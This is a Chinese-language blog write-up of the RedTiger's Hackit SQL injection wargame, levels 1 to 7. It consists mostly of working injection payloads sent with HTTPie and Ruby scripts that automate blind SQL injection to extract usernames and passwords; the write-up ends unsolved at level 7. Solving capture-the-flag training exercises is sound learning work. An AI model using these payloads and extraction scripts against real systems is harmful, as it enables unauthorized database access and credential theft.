RedTigers Hackit Wargame - Level 1 ~ Level 7

RedTigers Hackit是关于PHP和SQL injection的wargame。

又开始做wargame了,这次的进步是用上了HTTPie,一个类似curl的工具,但语法比后者优雅一些。

1

1
http get 'http://redtiger.dyndns.org/hackit/level1.php' cat=='1 union select 1,2,username,password from level1_users'

2

指定--session选项就可以实现cookie jar功能了,请求时会发送Cookie首部,也会保存服务端发来的Set-Cookie首部,而curl里实现同样的同能需要指定-b c -c c

1
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level2.php' username="' or 2='2" password="' or 2='2" login=Login

3

1
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level3.php' 'usr[]=='

报错:

1
Warning: preg_match() expects parameter 2 to be string, array given in /var/www/hackit/urlcrypt.inc on line 21

可以下载这个文件:

1
http --session=./c get 'http://redtiger.dyndns.org/hackit/urlcrypt.inc' --download

猜测usr字段被用来做SQL查询了:

1
http --session=./c get 'http://redtiger.dyndns.org/hackit/level3.php' usr==$(php urlcrypt.inc "' union select 1,username,3,4,5,password,7 from level3_users where username='Admin' -- ")

4

Blind SQL injection,二分搜索枚举每个位置的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
require 'net/http'
ans = '*' * 17
worker = ->from, to {
Net::HTTP.start('redtiger.dyndns.org') {|http|
u = URI '/hackit/level4.php'
(from...to).each {|pos|
l = 32
h = 126
while l < h
m = (l + h) / 2
u.query = URI.encode_www_form id: "1 and if((select ord(mid(keyword,#{pos+1},1)))>#{m},1,0)"
res = http.get(u.to_s, 'Cookie'=> 'level4login=****************').body
#p res
if res !~ /Query returned 0 rows/
l = m + 1
else
h = m
end
end
ans[pos] = l.chr
}
}
}
worker[0,17]
puts ans

5

1
2
pass=$(echo -n a | md5sum)
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level5.php?mode=login' username="' union select 1,'$pass" password=a login=Login

6

先确定SQL返回结果有5列,然后填充Admin

1
http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,'Admin',3,4,5"

报错:Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /var/www/hackit/level6.php on line 27

利用MySQL中xexadecimal literal默认为字符串的性质,尝试:

1
http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,0x61646d696e,3,4,5"

猜测第二列被用来做查询了:

1
2
a=$(echo -n "' union select 1,username,3,password,5 from level6_users where status=1-- " | rax2 -S)
http --session=./c 'http://redtiger.dyndns.org/hackit/level6.php' user=="0 union select 1,0x$a,3,4,5"

7

1
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="xxx'" dosearch='search!'

触发错误信息,了解到查询用的SQL:

1
SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%#{serach}%' OR text.title LIKE '%#{search}%')

尝试发现比较运算符及substrmidleft等很多字符串函数被过滤了。枚举得出news.autor的长度:

1
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' search="Google%' and length(news.autor)=17 and '%'='" dosearch='search!'

发现locate函数没有过滤,找出news.autor中出现过的字符:

1
2
3
4
5
6
7
8
9
Net::HTTP.start('redtiger.dyndns.org') {|http|
u = URI '/hackit/level7.php'
[('a'..'z').to_a,('0'..'9').to_a].flatten.each {|c|
post = Net::HTTP::Post.new u.to_s
post.set_form_data dosearch: 'search!', search: "Google%' and locate('#{c}',news.autor)=0 and '%'='"
post['Cookie'] = 'level7login=dont_shout_at_your_disks%2A%2A%2A'
puts c if http.request(post).body !~ /Geolocation/
}
}

得到这些:efglorstu0。然后开始枚举17位密码中每一位的字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
u = URI '/hackit/level7.php'
w = ''
Net::HTTP.start('redtiger.dyndns.org') {|http|
while w.size < 17
'efglorstu0'.chars {|c|
post = Net::HTTP::Post.new u.to_s
post.set_form_data dosearch: 'search!', search: "Google%' and locate('#{w}#{c}',news.autor)=1 and '%'='"
post['Cookie'] = 'level7login=***********'
res = http.request(post).body
if res =~ /Geolocation/
w << c
puts w
end
}
end
}

得到了密码,但是

1
http --session=./c -f post 'http://redtiger.dyndns.org/hackit/level7.php' username='*****************' try='Check!'

提示不正确……错在哪里了啊